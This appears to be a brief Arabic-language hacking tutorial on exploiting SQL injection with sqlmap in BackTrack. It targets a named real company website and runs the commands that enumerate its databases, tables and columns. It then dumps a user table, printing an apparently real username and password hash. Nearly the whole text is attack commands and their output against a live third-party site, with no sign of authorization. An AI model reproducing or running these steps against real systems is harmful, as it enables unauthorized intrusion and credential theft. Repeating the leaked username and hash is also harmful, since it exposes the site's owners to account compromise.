استغال ثغرات sql في الباك تراك

http://www.bcspeakers.com/page.php?id=22

python sqlmap.py -u http://www.bcspeakers.com/page.php?id=22 --dbs

available databases [2]:[*] information_schema[*] www-bcspeakerstest

python sqlmap.py -u http://www.bcspeakers.com/page.php?id=22 -D www-bcspeakerstest --tables

python sqlmap.py -u http://www.bcspeakers.com/page.php?id=22 -D www-bcspeakerstest -T _user --columns

+----------+---------------------------+
| Column   | Type                      |
+----------+---------------------------+
| id_user  | int(10) unsigned zerofill |
| password | text                      |
| username | text                      |
+----------+---------------------------+

python sqlmap.py -u http://www.bcspeakers.com/page.php?id=22 -D www-bcspeakerstest -T _user -C username --dump

+--------------+
| username     |
+--------------+
| becspeak2803 |
| becspeak2803 |
+--------------+

python sqlmap.py -u http://www.bcspeakers.com/page.php?id=22 -D www-bcspeakerstest -T _user -C password --dump

recognized possible password hash values. do you want to use dictionary attack on retrieved table items? [Y/n/q]

+----------------------------------+
| password                         |
+----------------------------------+
| 286adae502ad9d5ab8c4f8644050b448 |
| 286adae502ad9d5ab8c4f8644050b448 |
+----------------------------------+